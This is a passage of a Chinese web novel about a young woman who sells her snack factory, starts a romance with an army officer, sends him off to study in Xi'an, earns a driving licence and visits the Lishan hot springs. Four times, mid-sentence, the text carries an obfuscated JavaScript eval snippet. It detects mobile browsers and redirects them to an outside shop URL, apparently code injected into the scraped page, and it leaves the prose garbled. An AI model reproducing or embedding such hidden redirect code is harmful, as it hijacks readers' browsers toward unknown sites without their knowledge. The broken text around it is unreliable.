“是啊,”另外一个年轻的销售附和,但是态度稍微好一点,“如果不是为了这些福利,我老早就考进炼钢厂当正式工人了。您现在说卖就卖,一点风声都没有,我们去哪里找下家呢?” “是啊是啊,”其他人跟着应和,“家里指着我养家呢,现在没了收入,孩子上学老人吃药,可怎么办呢?” 符伊年看了看堵在前面的员工,十二个,全都来了。她眉头皱得更紧了,说来说去,无非就是知道工厂没有了,工作大概率黄了,想要赔偿罢了。 其实,符伊年早就安排好了。若是对方收购时只购买秘方,她就会提出有熟手员工更方便生产,到时候她再给每人多发三个月的工资做补偿,若是不接收,那就补偿半年。幸而对方主动提出了这项,让她免开尊口。 可惜,员工们却不肯领情。 符伊年一直皱着眉头不说话,员工们到没有觉得她是被吓住了,毕竟她从来不是好说话的人,在生产经营过程中也一直是奖惩分明。 当然,她背后有祝镕等人撑腰,也是他们不敢硬来的缘故。 有几个员工心中惴惴不安,刚想开口说些什么讨好她,就听到符伊年突然开口,“你们所有人都是一样的心思,认为工作就此没了是吗?” 有几个人下意识的点头。 符伊年抬抬手指,点了打头的中年男人和年轻男子,还有几个下意识跟着点头的,“你们几个,今天就回去吧,这个月还剩几天,你们按全勤算,我再额外给你们多开三个月的工资。” 这几个人还没反应过来,但是听说有多余的工资拿,心中倒是庆幸,立即点头。 符伊年看向其他人,“还有想走的吗?一起,省的多费一遍事写合约了。” 其余的七个员工,有的反应迅速立即摇头,还有人互相对视过后,也摇了头。 符伊年十分干脆,当下写了解除劳务合同,一式两份,原件符伊年自己留存,复写纸下下面的几张分别给员工,然后盖了工厂公章和她自己的私印,又让这些员工也签了名并按了手印,最后清点了金钱给他们,让他们不必回车间,直接离开了。 看到符伊年真金白银地拿了钱出来,也有人心动了,举起手来,“老板,我也走。” 符伊年翻白眼,“怎么不早说?还得再写。”说完抬起眼看其他人,“还有吗?最后问一次。” 还真有。两次下来,走了六个,有工厂创建之初就在这工作的老员工,也有才来了三个月的新员工。 待这些人拿了解除劳动合同证明离开后,请其他人坐下。 “其实,我和买家说好了,要买配方就必须接受我的工人,所以,其实你们所有人都不会失业。”符伊年没有绕弯子,直接告诉了他们,她也不怕这些人再去同已经离开的人通风报信,她就是故意的,故意现在才说,“我甚至打算,如果你们不打算去新单位工作,就每人补发半年的工资,。” 说着她突然笑了两声,未尽之意再明显不过:我愿意给那是我善良,但是你们堵到我眼前质问我,那我们之间就没有情分了,按道理说话吧。 在座这些人的脸色变得一会儿青一会儿红的,所有人都嗫喏着,有些人甚至想要对符伊年表忠心,被符伊年抬手止住了。 “等明天合同一签,我就去工商所更名了,你们就不再是我的员工了,用不着对我表忠心。”符伊年想了想还是提醒了一句,“新老板性格如何我也不是很清楚,到了新工厂是被重用还是如常,都是有可能的。” 符伊年看向诸人,“你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422913|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定不会反悔了是吗?到了新单位再离开,是不是能有三个月工资补偿,我不清楚哦。”别到时候没有,再说我骗你们。 几个人面面相觑,一时间竟然拿不定主意。 不过,很快有人反应了过来,立即摇头,“我信得过老板你的,你说会好好安置我们,那去新单位就是很好的选择。别人我不知道,我肯定不反悔的。” 这人话一说完,也有其他人明白,也跟着点头表态,说不会再变了,甚至还有人无师自通,说即便厂子要卖了,可是只要还没卖,自己就一定会继续认真做事,站好最后一班岗。 符伊年无语了片刻,心说:不是刚跟你说完不要对我表忠心,没用。她没有接这话茬,只告诉众人可以离开了,并不管他们是回车间继续生产还是离开这里直接回家。 等人都离开了,祝镕提着拖把从侧间过来,现清理了地面上那口吐沫,有给符伊年的水杯添了水,之后才在她身边坐下来,“不要生气,反正都卖掉了,以后都不用操心了。” “嗯?”符伊年从沉思中回神,过了两秒才明白他说了什么,单笑着摇头,“我没有生气,犯不上。我在想,人心啊。” 祝镕等了一会儿,不见她继续说,不禁催促,“人心怎么了?” “人心难测。”符伊年看向院子里阴影中的麻雀,“平时看着很老实干活也很踏实的人,一旦自己利益被触犯,真实的性情就会暴露出来,恶劣的一面也就显现了。” 祝镕很是以为然,“仓廪实方知礼仪。饭都要吃不上了,大概也就不存在什么礼义廉耻了。”说完,顿了顿,想到另外一种可能,“也许,工厂对外出售的风声他们早就听说了,这一趟不过是来试探一把,若是能得些好处,也不错。” 符伊年恍然大悟,怪不得行为看着那么突兀呢,“这么说我其实是被唬住了?” “倒也不能那么说。”祝镕伸手把人抱到自己腿上,双臂揽住她的细腰,“你本来就已经将他们安置妥当了,是他们不信任你。” 符伊年思考了一下,笑了起来,张开双臂抱住祝镕的脖子,“你就会哄我。” “我不哄你哄谁啊。”祝镕也笑了,一只手臂揽住她的腰,另外一只手掌覆在她的后背,一下一下拍着她,像是哄着小孩子。 不知道是不是祝镕的手法太舒服,还是符伊年太累,很快就被祝镕拍的迷迷糊糊睡着了。 祝镕本来还想多跟她交流一会儿的,毕竟再过几天就要离开京城去西安上学了,相处的时间越来越少。而且,为了给他们更多的相处空间,祝军长和容院长都搬回了军区大院,好几天没来四合院了。 结果没想到,自己竟然把人拍睡着了。祝镕哭笑不得。 而更令祝镕笑容发苦的是,符伊年趴在他的肩颈处,呼出的热气打在颈侧,带着她常用的月季花香皂的花香气。 祝镕垂眼看了下自己的腹股间,深呼吸几次,闭了闭眼,压制住自己的激动。 102. 交融 第一零二章 清早,天还没完全亮,风扇在嗡嗡的工作,脑袋转来转去,吹动着窗帘也在飘动,透过窗帘缝隙,符伊年看到外头雾蒙蒙的。 身旁的人翻了个身,手臂搭在了她的腰上,用力一收,就将她搂进怀里,“还早,再睡一下。” 符伊年其实有些不舒服,浑身上下都疼,也不是疼,疼这个词是对祝镕能力的侮辱,也是对她昨晚欢愉享受的否认。 一定要说的话,应该是一种酸楚,肌肉酸,骨头也酸。 符伊年慢腾腾地翻身,将头埋再祝镕怀里,然后,大口一张,吭哧一下子咬在了他的胸肌上。 “嘶!”祝镕被咬疼,箍在符伊年腰上的手臂不禁用力,“谋杀亲夫吗?还是用过就杀?你是女王蜂吧?” “是啊,我女王‘疯’。”符伊年的声音还是有些嘶哑的,虽然昨晚事后祝镕喂她喝了一大杯凉白开,依然没能完全缓解。 祝镕听出了符伊年的自我调侃,轻笑了一声,下巴在她的的发顶蹭了蹭,“是我不好,时间太久次数太多了。” “闭嘴吧。”符伊年想到昨晚的某些事,脸爆红,埋在祝镕怀里用头顶撞他的下巴,闷闷地说。 昨晚的事是怎么发生的呢? 下午打发走了那些员工后,符伊年说不上生气,也没有难过,但是心塞肯定是有的,闹心了一会儿,被祝镕察觉了,抱着她哄。 都怪祝镕哄人手法太高明,拍着她的后背很快就把她拍睡着了。 这一睡就睡过了晚饭,醒的时候是晚上八点,在床上,身边是靠着床头看书的祝镕。 “你抱我回来的?”符伊年问了句废话。 祝镕一手拿着书一手抚着她的头,“醒了?饿不饿?下面给你吃?” “不饿,不想吃。”符伊年翻了个身,脸朝向祝镕,“你哪天开学?” 祝镕说29号的火车,30号报道,休整一天开始上课,“再放假就要春节了,课程多,寒假不一定赶得回来。” 符伊年默默在心里计算着,这一下子就要小半年不见,虽然中间有假期她可以过去探亲,但是日夜相处一个多月后再分开,当然让人念念不舍。 符伊年抱着祝镕的腰,轻轻地叹气。然后她就发现,祝镕起立了。她盯着那顶小房子,目瞪口呆、瞠目结舌,好半天才回神,仰起头看向祝镕。 祝镕很无奈,也有些羞耻,这个弟弟太不听话了,怎么就这么站起来了呢?有点丢人啊,都是自己没管教好。 偏偏,符伊年仰起头的时候,鼻尖刚好距离那里很近,呼吸出的热气透过夏季轻薄的衣料落在敏感处,让那座小房子急速变大。 符伊年的手蠢蠢欲动、跃跃欲试,终于覆在了上面。 接着事情就一发不可收拾了。 临门时,祝镕伏在符伊年上方,额角的汗滴落到她的锁骨上,“年年,只要你喊停,我就停,三个数,好不好?一……” 符伊年简直想翻白眼,你都箭在弦上了,还能说停就停?不怕憋坏了?万一坏了,我也很吃亏好不好? “二三!”符伊年果断地替他数完。 祝镕果然只是说说, 手扣在他的后背,胡乱抓了一下,在祝镕的后背留下几条血印子。 然后,就没有然后了。 符伊年惊诧,时间这么短的吗?我要不要表现出来,表现出来会不会伤到祝镕的自尊心?可是不表现出来,我真的很不满啊。 “对不起,第一次,让你失望了,”祝镕倒是比符伊年看起来自在多了,他亲了亲她的额头,一路向下,重新来到她的心口,“我们再试一次。” 怎么说呢?祝镕不愧是祝镕,对自己的能力十分了解且自信。后面果然好多了。如果不是顾忌着符伊年的身体,恐怕会更好更持久。 天色渐渐明朗,晨曦微光落在对面的房顶上,麻雀在窗前唱歌,欢快地蹦跶。 祝镕摸过放在床头的手表,看了眼时间,轻轻放下。将符伊年搭在她腰上的手臂和骑在腿上的小腿慢慢移开,顺手拨了拨她黏在额头上被汗水打湿的头发。 符伊年还是被吵醒了,但是不肯睁眼,维持着俯卧的姿势,发出轻轻的“嗯”。 “没事,我去买早饭,你继续睡。”祝镕在她的背上轻轻拍了两下,低声哄到,等到人重新睡下,才蹑手蹑脚地离开。 出了东厢房,祝镕先去冲了一次澡,然后出门买早餐。早餐按照符伊年的口味,买了油条豆浆小米粥和几种小菜,想了想又拐去旁边新开的面包房,买了一袋手撕面包。 回来的时候,符伊年正扶着门口迷迷糊糊张望,等看到人回来,晃了下身子,重新进屋去了。 祝镕的心一下子像是泡进了温泉里,又暖又湿。他把早餐放去餐厅,重新回来,却没有在房间看到人。想了想,祝镕找去了浴室,听到里面有水声,这才安心。 符伊年走进餐厅时头发还湿着,一边走一边打着呵欠,走到桌前没有坐在自己往常的椅子上,而是一屁股做到了祝镕腿上,接着往他怀里一歪,“好累啊,你为什么精力这么充沛。” 祝镕搂着她在她脸颊上亲了一下,“我是军人啊,日常最低五公里起的。其实经过这两个月,你体力已经越来越好了。” 这两个月,确切地说是一个半月,符伊年一只在被祝镕带动着锻炼身体,包括出游那段时间,每天都会带着她跑一会儿。 听到这里,符伊年不禁用质疑的目光看祝镕,“你是不是早有预谋?” 祝镕大呼冤枉,“我可是要数三个数让你考虑的。” 符伊年想起来了,祝镕是说过数三个数,只要她说停他就会停的。结果是她自己,迫不及待替他数完了。 “那个,我饿了,吃早饭吧。” 符伊年松开搂着的祝镕的脖子,想要从他腿上下来,却被祝镕的大掌按住了腰后,“冤枉了人就想跑啊,多少也要给点补偿吧?” 符伊年:“怎么补偿……” 看着祝镕越来越近的脸,符伊年停住口,好的,知道了,不用再问了。 眼看着时间越来越晚,祝镕不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434618|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放肆太久,亲了一会儿就松开她,然后把她安置在她自己的椅子上,再抱下去一会儿怕是要出事。 今天还有正经事要做呢——当然,并不是说爱爱是不正经的事。 上一次商谈结束时,符伊年和柳旻约定好签合同的日子,定在了本周四,因为签好合同可以直接去工商所进行更名,待一切手续都走完,恩慈公司也好早点进行制作生产。 合同签好,工商手续变更完毕,符伊年将一张写着辣条制作方法、配方所需调料和各味调料比例的纸张交给对方,想了想,还是提醒了一句,“这是基础配方,你们以后可以继续研发,随时创新。” 其实,符伊年完全不必多言这一句。柳旻出身商人世家,从小耳濡目染,长成后读了商科,对经商的这些事比符伊年懂得多,但对于符伊年这句提醒,他还是很感激的。 “符女士真是心善。”柳旻接过纸张看了一眼,夹进文件夹里,同符伊年和祝镕分别握了手。 符伊年笑了一下,”我也是白嘱咐这么一句,柳先生专业人士,比我明白得多。” 双方互相吹捧了几句后,就此分别。至于符伊年一进院里那些生产的机器和工具,柳先生没提,符伊年也就没说。 柳家要是想要做大做强,规模自然不是自己这小作坊可比的,人家肯定会建专门的厂房车间,机器肯定也会更新更先进,自己就别操这份心了。 祝镕陪着符伊年往外走,开了副驾驶的车门让她先进去,自己去旁边的商店买了瓶井水冰镇的果汁饮料,擦了擦瓶口,用商店的瓶起子开了,又插了根吸管进去,这才转身往回走。 拉开车门,就看到符伊年背靠着副驾驶车椅背闭目养神。祝镕不禁有些后悔,他其实早上发现了,年年还没完全恢复过来,仍然有些不舒服,应该等她好一些再来签合同走手续的。 符伊年虽然闭着眼,但是耳朵没有闭上,她听到祝镕开车门的声音了,等了半天不见车子发动,也没听到祝镕讲话,不禁睁开眼看过去,正好对上祝镕的目光。 “你怎么了?”符伊年不解,怎么用这种目光可她,带着探究还带着担忧。 祝镕将果汁递到她面前,“我看看你脸色怎么样,是不是累到了。” 符伊年伸手,手心触到瓶子凉却不冰的瓶身,咬住吸管喝一口,舒服地喟叹一声,“爽!” 祝镕看到符伊年一口冰镇果汁就恢复了能量,精神也振奋了起来,心中好笑,原来是热着了。看着她惬意的脸色,祝镕那句到嘴边的嘱咐,到底吞了回去,算了,不要扫兴了,没今天他就要离开了。 符伊年不知道祝镕心中所想,只觉得他今天好像心情不错,连自己一口气喝掉大半瓶的冰镇汽水都没察觉。 挺好,省的念叨我。符伊年心说,年纪大点是会疼人,可是男友爹味太重,也让人烦恼哇。 符伊年忘记了,人哪,是不能随便立flag的,不然很快就会被打脸。 此时,她还觉得祝镕这个爹系男友有点烦人,再过些日子,等他离开了,她又开始了怀念。 103. 离别 第一零三章 世间所有事物,都是有尽头的。或者时间尽头,或者空间尽头,或者生命的尽头。 假期更不会例外,除非退休,否则总有结束的时候。 假期结束了,意味着即将开学,也表示,祝镕要离开了。 从京城到西安不算远也不算近,最重要的是交通方便,不说列车班次多了不少,就是公路条件都更好更平坦。 所以,符伊年其实并没有太多的离愁别绪,甚至有那么点小小的不可言说的欢喜。原因嘛,都怪祝镕,体力太好耐力太持久,让她这些天夜夜无法安睡。 祝镕:怪我咯? 符伊年一直声称自己并不是什么贤惠人,所以从来都不曾替祝镕整理过行李,她坚定的认为,只有自己整理的物品自己才能记得位置也才能找得到。 祝镕从小就被祝军长和容院长打磨,各方面都比较独立,所以他也从来不用别人帮他整理物品,甚至还能替符伊年收拾。 正是因为如此,当他听到符伊年主动提出替他收拾行李的时候,他的眉毛挑的老高,一脸的不可置信,“真的假的?”说着起身绕着符伊年走了两圈,“你真的是符伊年吗?是不是被谁附体了?” 符伊年吓了一跳,心说难道穿越的事被发现了?接着仔细看了两眼祝镕的表情,立即举起拳头对着祝镕胸口邦邦两拳,“胡说八道!” 祝镕捂着心口弯腰,装作被她打得内伤了,还“哎哟”“哎哟”地叫了两声,符伊年看出了他的装模做样,根本不理睬,继续自己手里的事。 祝镕本也是同她逗趣,既然没逗到,也就罢休了,转身在沙发扶手上坐下,抱着手臂继续看符伊年往摊开的行李箱里装衣服。 二炮也是陆军,军装都是一样的,到时候换了肩章领章就行,所以军装要带,不过也不用全都带,符伊年挑了四五套□□成新的装上,其他的哪怕袖口磨损了的,都没有带。 除了军装,还装了几件便装,祝镕看到两件白衬衫和一条牛仔裤一条西裤…… “等一下,”祝镕抬手拦了一下,“那件白衬衫,不是我的吧?”他指着一件明显事女子款式的衣服,问道。 “啊,我的。”符伊年一脸的理所当然,“我这不是怕你太想念我,给你带件我的衣服,让你能聊解相思。” 祝镕盯着符伊年,忍不住笑了,接着伸手将人拉到自己面前,搂住她的腰,揉了揉,“那我是不是也要留几件给你?” 符伊年双手搭在祝镕的肩上,笑着摇头,“用不着,你所有的衣服都在家里啊。” “是吗?”祝镕假装思考了一下,“哦,是的。” 自从那晚两人突破了最后的界线,祝镕就一直留宿在符伊年的屋里,两人很是过了几天没羞没臊的日子。 一直到出发前一万,两人荒唐了一整晚,光床单就换了两次,最后干脆挪去了炕上睡。好在因为这两个月是夏天,一直没烧炕,不至于热着。 一直到了要出发那天,符伊年的心情也都还不错,早上还能如常地同祝镕说笑。祝镕仔细观察过,笑容不勉强,情绪看起来还好。他松了一口气。 符伊年也觉得自己挺好,舍不得是肯定的,不过她一直觉得自己是独立女性,有能力适应好离别。 等到去了火车站上了站台送别,符伊年才发现,离别没有自己想的那么容易。更何况这一段时间两人同进同出、同食同寝,感情突飞猛进,如今到了离别之时,她还真是舍不得了。 祝镕看着她脸上比哭还难看的笑容,也忍不住忧心。之前不是装的,她是反射弧太长反应太慢啊。 “好啦,”祝镕哭笑不得,“早上不是还笑得很开心。” 符伊年用头顶撞祝镕的胸口,哼哼唧唧不说话。 “西安和京城很近的,火车半天就能到,”祝镕想着法的安抚她,“等你有假期了,就过来玩儿,西安还是很好玩的。” 符伊年“嗯”了一声,“知道了,有时间就去看你。”说完又想起来现在还是每周只有一天休息,忍不住嘟囔看,“什么时候才能双休啊。” 祝镕听见了她的抱怨,心中好笑了一下,一周七天双休,那岂不是只能上五天班?哪有那么好的事。 “我在运输公司打了招呼,你挑个时间去把驾照考了,到时候若是不想坐火车,就自己开车来吧。”祝镕拍拍符伊年的后背,将人拉开些,手掌抚在她脸上,“时间差不多了,我得上车了,你早点回去。” “哦。”符伊年没有松手依然盯着他的脸,“那你照顾好自己,好好吃饭天冷加衣。” 符伊年干巴巴地嘱咐着,实在是有些不习惯,因为着平常都是祝镕嘱咐她的话,如今角色颠倒,她还挺别扭的。 祝镕看出了她的别扭,笑了一下,接收地从善如流,“好,我记住了,你自己也要保重,天气逐渐转凉,冷饮少喝。” 说话间,列车员吹响了预备发车的哨子。 “好了啊,”祝镕拍怕符伊年的后背,“我走了,你早点回家,马上开学了,收收心。” 符伊年撇嘴,心道:说你爹味重,你还真“爹”上了。 祝镕去上学了,符伊年也很快开学。这时候她已经在大三上学期了,还有一年半的时间就毕业了。听起来时间好像很久,其实过得也挺快。 一开学,符伊年就住回了宿舍。倒不是她喜欢学校宿舍和集体生活,实在是四合院和学校的离得太远了,而她这学期,几乎日日早八周周晚课。 十一月的第一个周末,期中考试结束,符伊年终于有了时间去了趟运输公司,去考驾照。这时候考驾照还比较简单,先考理论,后考实践。但是并没有科目一二三四之别,只要理论合格,实践通过老司机的认可,驾照基本就到手了。 和符伊年一同去考试的,还有马跃和米仙花,这两人说她们以前在农场和家里都开过拖拉机,所以也要去考驾照。 “也是一门技术,”马跃说,“以后混不下去,我就当司机去。” 米仙花也点头,“现在大街上车越来越多,我下火车的时候,还有人开着小车拉人呢,两块钱,二环内随便到。” 这个符伊年也看到了,这不就是出租车的雏形嘛,再过两年,就会有正规的出租车公司和正规出租车,就是那种黄色面包车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445551|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带顶子的。正规出租车公司可以交税,现在这种就是黑车,没有正规手续、不合法,有关部门随时可以取缔。 符伊年之前无论如何也要去工商所给工厂注册,也是这个道理,不合规、不合法,早晚会被取缔。 不过,在还没有正规出租车的现在,花两块钱坐一回这样的小车,既能彰显身份,也不会太贵太浪费。 “放心啦,”符伊年和两人一起乘公交车过去运输公司,“恢复高考后的第一届大学生,你们肯定能开上自己的小车的。” 到了运输公司后,符伊年发现来考驾照的人还真不少,男性居多,但也有女性,除了符伊年三个,二十来个考生,女性占了四分之一。 男司机们聚在一起,抽着烟大声聊着天,看向几个女性的目光很不友好,甚至带有歧视,有几句话被风送到符伊年耳朵里,无非就是老生常谈,什么女人怎么可能开得好车,什么女人就该回家做饭生孩子,什么女人开车不吉利。 千古年来,都是这套说辞,即便到了几十年后,依然如此。女性的思想已经解放,开始崛起,可惜部分男人的思想还停留在几十年前甚至上个世纪,他们看不到女子们越来越强,自己还原地踏步。 几个男人在凑在一起高谈阔论,也有几个人凑在一起看书讨论,似乎在准备之后的理论考试。 符伊年随意的看了一眼,似乎看到了一个眼熟的面孔,再看一样,想起来了,这不是那个什么向南嘛,还有个妹妹向北。 孟向南注意到符伊年的目光,也看了过来,当下也认了出来符伊年,因为人太多,不好过来打招呼,于是隔着众人同她微微点头,算是问好。 符伊年也点点头,回应了一下。 “谁呀?”马跃注意到她的动作,“认识的?”看着还挺好看的。 “一个老乡,在外交学院,还有个龙凤胎妹妹,在财经学院。”符伊年简单地介绍,还怕别人误会还多解释了两句,“因为是龙凤胎,印象比较深刻。” 上午九点,理论考试开始,考一个小时,考试内容和后世的科目一差不多。符伊年在后世的时候虽然没有车,但是考过驾照,毕竟马跃说得对,总归是项技能。 理论考试结束,接着就是实践考试。运输公司出了三辆车,二辆解放大卡车,一辆红旗小轿车。 考大卡车驾照的人多,有男也有女,男的多女的少,但是那唯一一个女性卡车司机技术丝毫不逊色于男子。 其余人都是考小轿车驾照的,也都顺利通过,而且对比下来,真的是女性比男性更顺利失误更少一些。 其他人都觉得很惊奇,以往驾驶员这职业几乎都是男子把持着,女子驾驶员几乎没有过,无论大车小车。 符伊年倒是不觉得惊奇,其实大数据研究表明,女性司机比男性司机出事故的概率更低,只是媒体着重报道的都是“女司机怎么怎么样”这种新闻,以至于人们逐渐形成了女性司机不如男性的思想。 两周之后,符伊年从运输公司那里拿到了驾驶证,下一个周末,她同系里请了一周的假,开着跟马龙那里借来的车,疾驰一千多公里,奔祝镕去了。 104. 温泉 第一零四章 祝镕这次进修时间一共一年半,要在一年半内学完别人三到五年的知识,还不能落下正常的体能训练,所以注定了他这一年半不会轻松。 很多年以后,祝镕听到后辈和下属们总把“九九六”不人道挂在嘴边,他觉得不管怎么样,还是要比他当初强一些的。 祝镕这时候过得可是名副其实“六十七”——早上六点钟起床跑操,晚上十一点熄灯如果还是觉得时间不够用?那就打着手电继续学,学到学会为止。一周七天,天天如此。 除此之外,偶尔还要应付教官突如其来的半夜紧急集合,和教授们心血来潮的课堂随机小考。可以说是,体力和脑力极大限度地被开发被使用。 没有人有怨言。他们都是和祝镕一样,或者从基层逐年提拔上来的,或者是从战场上九死一生活下来的,没有人比这些人更清楚,这些机会有多么来之不易,这些挑战日后会给他们带来多大的机遇。 一年半的时间不差不短,几乎符伊年毕业的时候,祝镕也结业了。 这一年半的时间里,符伊年来探望过祝镕几次,除了第一次是学期内请假过来的,之后都是假期才来。 因为祝镕寒暑假相对时间短,都是只有一周左右的时间,因此都是符伊年来西安探亲。而祝镕虽然是职级较高的军官,也依然要住宿舍,还是四人间,符伊年自然无法留宿,只能在附近租了一间民房,这样能趁祝镕周末休息的时候相聚。 其实,这样一周只能见一次,和不见没有太大区别。符伊年还要自己在外面租房子住,条件肯定不如京城的四合院。祝镕舍不得她受苦。 “也就这一年半了,珍惜吧。”大四暑假的一个周末的下午,符伊年正躺在祝镕大腿上边吃苹果边看杂志,听到他这样说,不禁嗤笑,“我还有半年就毕业了,教授和导员透露消息,我可能要分去部里,一旦上了班,那就是身不由己了。” 事关毕业工作,祝镕也再担心那些有的没的,扶着符伊年坐直了身子,“确定了吗?”说着想起符伊年说得是教授透露的消息,那应该没有错了,“那确实没那么自由了。” 体制内的工作,尤其是刚毕业刚入职的小员工,除了自己的本职,要干的多着呢,扫地擦桌、端茶倒水…… 不过,若是说自由,也算自由。有时候没那么多“正经事”,一天下来都是闲,看报纸唠嗑都不算过分,甚至还有人带了毛线织毛衣。 这样的工作,符伊年真的会同流合污吗?祝镕对此表示疑问,并直接问了出来。 被问到头上的符伊年,结巴了片刻,深深地叹了一口气,“用‘同流合污’这个词太过分了,只能说我可能不那么习惯或者没那么合群,如果有机会,我还是想做些具体的实事。” 祝镕赞同她的想法,“不过,部委嘛,自来就是把握大方向,制定方针政策的那个角色。”过了片刻,又说:“你要是想做具体的事,估计要等,等到你升到一定职位,然后有了机会下基层,就能做实事了。” 符伊年耸耸肩,“革命工作不能挑肥拣瘦,无论在那里都是为人民服务。” 祝镕听了,笑了两声,“自己人,就不要唱高调了吧。” 符伊年立即反驳,“这哪里是唱高调,这是发自内心的声音,说明我:不忘初心,牢记使命。” 行吧,我已经听到了您内心的声音。祝镕心底吐糟,脸上却没有表现出来,而是换了话题,“听说钟鼓楼附近有家羊肉泡沫很好吃,要去试试吗?” 假期过得快,符伊年本来相去爬一次华山,体验一下“自古华山一条道”的风景,可惜越到假期末尾,天公越不肯作美,最终符伊年没能去成。 祝镕对此的评价是:出尔反尔,老天都看不过去了。 符伊年“哼”了一声,假装没有听到。没办法,谁让自己答应了他某事结果又反悔呢,出尔反尔倒没有冤枉她。 假期倒数第二个周末,祝镕和符伊年说了一件事,下周末他们班准备去华清山泡温泉,问符伊年要不要一起去,反正也不远,周六下午出发,住一晚,周日午后回来。 符伊年挑眉,“你们的班级集体活动,我去不好吧?” “是我没说清楚,”祝镕解释,“除了班级同学,还有些在本地的家属也去,自费,所以不算搞特殊。” “行,”符伊年听说不算搞特殊,就同意了下来,“那我要带什么去啊?”泡温泉呢,两辈子倒是头一回。 “带些两套衣服和毛巾就行了。”祝镕其实也不清楚,不过泡温泉嘛,和泡澡堂池子没区别。 听了他的想法,符伊年很无语,干脆不理他,自己去收拾东西,“毛巾、内衣、裙子、浴袍,对了,泳衣,我还没有泳衣呢,要去买泳衣。” 祝镕能说什么呢,当然只有一个字:“买!” 到了出发得那天,祝镕先来接符伊年,接到人后去学校门口和众人集合。 祝镕的班级一共二十六人,其中有三个是女性军官,其余二十三人中,不算祝镕,还有五个也带了一个家属来的,有的是爱人,有的是孩子,也有一家子都来的。 不知道是不是特意计算过,一辆三十五人的大巴车,刚好坐满。作为班长的祝镕清点好人数、确认行李都装了车,同司机点头后,发车前往目的地。 祝镕一丝不苟地将所有工作做完,又给每个人发了用班费采购的小零食和水果后,才在符伊年身边坐下。 符伊年将拆开后发现不喜欢吃的那个零食塞给祝镕,低声和他悄悄话,“我都不知道,你居然还是班长呢,怎么从来不说啊?” 祝镕手里被塞了吃了一口的零食,丝毫不嫌弃,“一个二十六人的班长,有什么好说的。” “二十六人怎么啦,”符伊年不同意他这个说法,“我看了,你们班军衔最低都是个上尉,起码是个连长,一个连,嗯,一百二十人吧?” 符伊年看向祝镕,向他征询自己应该没说错,见他点头才继续低声,“一个一百二,二十五个,那就六千,六千人,应该有一个旅了吧?” 祝镕一边嚼嚼嚼,一边听她计算,一边在心里腹诽:头一次听说还能这么算的,这逻辑是跟谁学的,堪称逻辑大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462858|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师啊。 从学校去到骊山温泉,路上要一个多小时。大巴司机技术不错,虽然道路状况一般,甚至有点破,但是车子并没有想象中那么颠簸,所以符伊年睡得也算是安稳。 祝镕:难道不是我抱得比较紧的原因吗? 骊山温泉自古就很出名,最出名的自然就是那个号称“御汤”的华清宫里的华清池,那当初可是杨贵妃用过的。不过,几千年前的汤池,如今当然早就损毁,祝镕他们要去的温泉,也只是这几年在附近新开发的。 这次来骊山,泡温泉是一个方面;另一方面,也是一次思想实践和学习。华清宫嘛,大唐时期非常出名的皇家行宫,不仅见证了唐明皇和杨贵妃的爱情故事,也见证了大唐由盛转衰的过程。 而且,华清宫内有一五间厅,乃是西安事变发生的旧址。1936年12月12日,张学良、杨虎城两位将军为促光头抗日救国,放弃“攘外必先安内”政策,联合红军抗日,于12月12日发动兵谏,史称“西安事变”。 事变旧址保存的可以说非常不错,□□的卧室、□□办公室、秘书室部署进攻红军的会议室、侍从室主任钱大钧的办公室,都依然按当初设置,各房间办公室用的桌子、椅子、床、沙发、茶具、火炉、地毯、电话等,均按原貌复制摆放。 □□住在华清宫的时候,带了很多随行人员和下属同来,兵谏发生时,蒋正在休息,听见木仓声仓皇逃走,随行人员和下属曾凭借庭院建筑物和室内摆设进行抵抗,所以即便几十年过去了,玻璃窗、墙壁上,迄今还保留着兵谏发生激战时的弹痕。可见当时情况如何惊险,战况如何激烈。 不过,这次事件最终和平解决了,而且对当时的华国具有重要的意义。不仅结束了内战,建立了抗日统一战线,而且给了我党喘息时间,使我党发展壮大,从而确立了我党在我国社会发展中的核心领导地位。 